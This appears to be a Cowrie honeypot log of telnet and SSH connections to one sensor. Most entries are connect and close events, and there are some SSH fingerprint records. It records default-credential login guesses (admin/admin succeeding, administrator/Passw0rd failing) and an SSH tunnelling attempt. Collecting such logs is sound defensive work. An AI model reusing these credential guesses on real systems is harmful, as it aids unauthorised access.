{"eventid":"cowrie.session.closed","duration":31.43192434310913,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:57.065722Z","src_ip":"142.93.2.99","session":"cf01d2185396","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.2395703792572,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:57.835068Z","src_ip":"142.93.2.99","session":"d43ed3af52f9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35300,"dst_ip":"159.203.135.109","dst_port":23,"session":"14beff801721","protocol":"telnet","message":"New connection: 142.93.2.99:35300 (159.203.135.109:23) [session: 14beff801721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:58.385681Z"}
{"eventid":"cowrie.session.closed","duration":33.64132261276245,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:59.182235Z","src_ip":"142.93.2.99","session":"5af5c1669260","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34336,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff67ada9b9a8","protocol":"telnet","message":"New connection: 142.93.2.99:34336 (159.203.135.109:23) [session: ff67ada9b9a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:59.293735Z"}
{"eventid":"cowrie.session.closed","duration":32.200161933898926,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T04:59:59.313626Z","src_ip":"142.93.2.99","session":"07fddfc39fb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38052,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a8a8710c261","protocol":"telnet","message":"New connection: 142.93.2.99:38052 (159.203.135.109:23) [session: 9a8a8710c261]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:00.374930Z"}
{"eventid":"cowrie.session.closed","duration":34.26650953292847,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:03.910653Z","src_ip":"142.93.2.99","session":"b5d22aff727a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.918556690216064,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:04.382589Z","src_ip":"104.245.105.2","session":"8a4044bbc743","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40684,"dst_ip":"159.203.135.109","dst_port":23,"session":"d228d717e2ce","protocol":"telnet","message":"New connection: 142.93.2.99:40684 (159.203.135.109:23) [session: d228d717e2ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:04.850598Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":41764,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0b25395ae34","protocol":"telnet","message":"New connection: 142.93.2.99:41764 (159.203.135.109:23) [session: c0b25395ae34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:05.156789Z"}
{"eventid":"cowrie.session.closed","duration":33.32857155799866,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:05.841155Z","src_ip":"142.93.2.99","session":"2961dd06b7ec","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40946,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ddd10cf4246","protocol":"telnet","message":"New connection: 142.93.2.99:40946 (159.203.135.109:23) [session: 8ddd10cf4246]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:06.180976Z"}
{"eventid":"cowrie.session.closed","duration":33.09780287742615,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:06.234786Z","src_ip":"142.93.2.99","session":"1e2e139a3d28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.54682922363281,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:06.451592Z","src_ip":"142.93.2.99","session":"0ba64ab71000","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.90531921386719,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:08.474949Z","src_ip":"142.93.2.99","session":"be3ad437e3c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46220,"dst_ip":"159.203.135.109","dst_port":23,"session":"e9e408ac690b","protocol":"telnet","message":"New connection: 142.93.2.99:46220 (159.203.135.109:23) [session: e9e408ac690b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:10.063681Z"}
{"eventid":"cowrie.session.closed","duration":31.63415813446045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:10.320090Z","src_ip":"142.93.2.99","session":"3c257757c2f6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":25304,"dst_ip":"10.17.0.5","dst_port":22,"session":"a8656042397f","protocol":"ssh","message":"New connection: 87.251.64.176:25304 (10.17.0.5:22) [session: a8656042397f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:10.454752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:10.462591Z","src_ip":"87.251.64.176","session":"a8656042397f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:10.561423Z","src_ip":"87.251.64.176","session":"a8656042397f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:10.856824Z","src_ip":"87.251.64.176","session":"a8656042397f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:10.960080Z","session":"a8656042397f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:11.069586Z","src_ip":"87.251.64.176","session":"a8656042397f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:11.172333Z","src_ip":"87.251.64.176","session":"a8656042397f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.26417899131775,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:13.198582Z","src_ip":"142.93.2.99","session":"18605bdb6582","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49352,"dst_ip":"159.203.135.109","dst_port":23,"session":"4f695acb4162","protocol":"telnet","message":"New connection: 142.93.2.99:49352 (159.203.135.109:23) [session: 4f695acb4162]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:13.607841Z"}
{"eventid":"cowrie.session.closed","duration":33.41360950469971,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:17.141477Z","src_ip":"142.93.2.99","session":"e2be4684d20c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52514,"dst_ip":"159.203.135.109","dst_port":23,"session":"81cb341cc5b0","protocol":"telnet","message":"New connection: 142.93.2.99:52514 (159.203.135.109:23) [session: 81cb341cc5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:17.169260Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":51140,"dst_ip":"159.203.135.109","dst_port":23,"session":"db795aef237e","protocol":"telnet","message":"New connection: 142.93.2.99:51140 (159.203.135.109:23) [session: db795aef237e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:18.625921Z"}
{"eventid":"cowrie.session.closed","duration":32.87334942817688,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:19.767412Z","src_ip":"142.93.2.99","session":"f04a245030f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.820908069610596,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:20.386662Z","src_ip":"142.93.2.99","session":"4c23aae46659","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55424,"dst_ip":"159.203.135.109","dst_port":23,"session":"5781578b3331","protocol":"telnet","message":"New connection: 142.93.2.99:55424 (159.203.135.109:23) [session: 5781578b3331]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:20.410208Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":52248,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf81c1bba132","protocol":"telnet","message":"New connection: 142.93.2.99:52248 (159.203.135.109:23) [session: bf81c1bba132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:20.898049Z"}
{"eventid":"cowrie.session.closed","duration":33.349706411361694,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:21.867233Z","src_ip":"142.93.2.99","session":"a00accef17fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57504,"dst_ip":"159.203.135.109","dst_port":23,"session":"eb968e04881b","protocol":"telnet","message":"New connection: 142.93.2.99:57504 (159.203.135.109:23) [session: eb968e04881b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:23.821997Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":59364,"dst_ip":"159.203.135.109","dst_port":23,"session":"be593af1646e","protocol":"telnet","message":"New connection: 142.93.2.99:59364 (159.203.135.109:23) [session: be593af1646e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:25.937290Z"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":59654,"dst_ip":"159.203.135.109","dst_port":22,"session":"7bcad0926f9b","protocol":"ssh","message":"New connection: 189.194.140.170:59654 (159.203.135.109:22) [session: 7bcad0926f9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:25.971522Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:25.978983Z","src_ip":"189.194.140.170","session":"7bcad0926f9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:26.070686Z","src_ip":"189.194.140.170","session":"7bcad0926f9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"Passw0rd","message":"login attempt [administrator/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:26.452602Z","src_ip":"189.194.140.170","session":"7bcad0926f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:27.554268Z","src_ip":"189.194.140.170","session":"7bcad0926f9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.28076958656311,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:29.666316Z","src_ip":"142.93.2.99","session":"14beff801721","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35324,"dst_ip":"159.203.135.109","dst_port":23,"session":"a63b2768d264","protocol":"telnet","message":"New connection: 142.93.2.99:35324 (159.203.135.109:23) [session: a63b2768d264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:30.614089Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36490,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe3bba1b939a","protocol":"telnet","message":"New connection: 142.93.2.99:36490 (159.203.135.109:23) [session: fe3bba1b939a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:30.928190Z"}
{"eventid":"cowrie.session.closed","duration":31.97656011581421,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:31.270183Z","src_ip":"142.93.2.99","session":"ff67ada9b9a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38334,"dst_ip":"159.203.135.109","dst_port":23,"session":"bbdcbbfa8fc5","protocol":"telnet","message":"New connection: 142.93.2.99:38334 (159.203.135.109:23) [session: bbdcbbfa8fc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:33.121484Z"}
{"eventid":"cowrie.session.closed","duration":34.20904541015625,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:34.583818Z","src_ip":"142.93.2.99","session":"9a8a8710c261","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":38782,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cdbc8e8d4a9","protocol":"telnet","message":"New connection: 142.93.2.99:38782 (159.203.135.109:23) [session: 2cdbc8e8d4a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:34.642381Z"}
{"eventid":"cowrie.session.closed","duration":31.78306269645691,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:36.633544Z","src_ip":"142.93.2.99","session":"d228d717e2ce","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.948690176010132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:38.129511Z","src_ip":"142.93.2.99","session":"8ddd10cf4246","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.55891561508179,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:38.715583Z","src_ip":"142.93.2.99","session":"c0b25395ae34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43986,"dst_ip":"159.203.135.109","dst_port":23,"session":"e69d84c34445","protocol":"telnet","message":"New connection: 142.93.2.99:43986 (159.203.135.109:23) [session: e69d84c34445]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:39.778894Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46454,"dst_ip":"159.203.135.109","dst_port":23,"session":"e5d574a93671","protocol":"telnet","message":"New connection: 142.93.2.99:46454 (159.203.135.109:23) [session: e5d574a93671]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:42.706248Z"}
{"eventid":"cowrie.session.closed","duration":32.90629577636719,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:42.969843Z","src_ip":"142.93.2.99","session":"e9e408ac690b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48214,"dst_ip":"159.203.135.109","dst_port":23,"session":"008d61b96030","protocol":"telnet","message":"New connection: 142.93.2.99:48214 (159.203.135.109:23) [session: 008d61b96030]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:44.733008Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":49434,"dst_ip":"159.203.135.109","dst_port":23,"session":"56d418636248","protocol":"telnet","message":"New connection: 142.93.2.99:49434 (159.203.135.109:23) [session: 56d418636248]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:46.109115Z"}
{"eventid":"cowrie.session.closed","duration":33.12943720817566,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:46.737164Z","src_ip":"142.93.2.99","session":"4f695acb4162","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.62481451034546,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:49.793944Z","src_ip":"142.93.2.99","session":"81cb341cc5b0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":58768,"dst_ip":"10.17.0.5","dst_port":23,"session":"e88be933c087","protocol":"telnet","message":"New connection: 104.245.105.2:58768 (10.17.0.5:23) [session: e88be933c087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:50.257872Z"}
{"eventid":"cowrie.session.closed","duration":31.838810682296753,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:50.464586Z","src_ip":"142.93.2.99","session":"db795aef237e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":55434,"dst_ip":"159.203.135.109","dst_port":23,"session":"a5410b010559","protocol":"telnet","message":"New connection: 142.93.2.99:55434 (159.203.135.109:23) [session: a5410b010559]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:53.617493Z"}
{"eventid":"cowrie.session.closed","duration":33.49414944648743,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:53.904237Z","src_ip":"142.93.2.99","session":"5781578b3331","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56118,"dst_ip":"159.203.135.109","dst_port":23,"session":"efdefabc47e0","protocol":"telnet","message":"New connection: 142.93.2.99:56118 (159.203.135.109:23) [session: efdefabc47e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:54.427192Z"}
{"eventid":"cowrie.session.closed","duration":34.47893166542053,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:55.376875Z","src_ip":"142.93.2.99","session":"bf81c1bba132","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.53100347518921,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:56.352782Z","src_ip":"142.93.2.99","session":"eb968e04881b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58300,"dst_ip":"159.203.135.109","dst_port":23,"session":"5bc0e1a9bbf2","protocol":"telnet","message":"New connection: 142.93.2.99:58300 (159.203.135.109:23) [session: 5bc0e1a9bbf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:58.293785Z"}
{"eventid":"cowrie.session.closed","duration":32.42732238769531,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:58.364485Z","src_ip":"142.93.2.99","session":"be593af1646e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":42336,"dst_ip":"10.17.0.5","dst_port":23,"session":"cbcda510e4a0","protocol":"telnet","message":"New connection: 104.245.105.2:42336 (10.17.0.5:23) [session: cbcda510e4a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:00:59.805242Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":32824,"dst_ip":"159.203.135.109","dst_port":23,"session":"810dbc36f1c8","protocol":"telnet","message":"New connection: 142.93.2.99:32824 (159.203.135.109:23) [session: 810dbc36f1c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:01.134505Z"}
{"eventid":"cowrie.session.closed","duration":31.454718112945557,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:01:02.068686Z","src_ip":"142.93.2.99","session":"a63b2768d264","protocol":"telnet"}
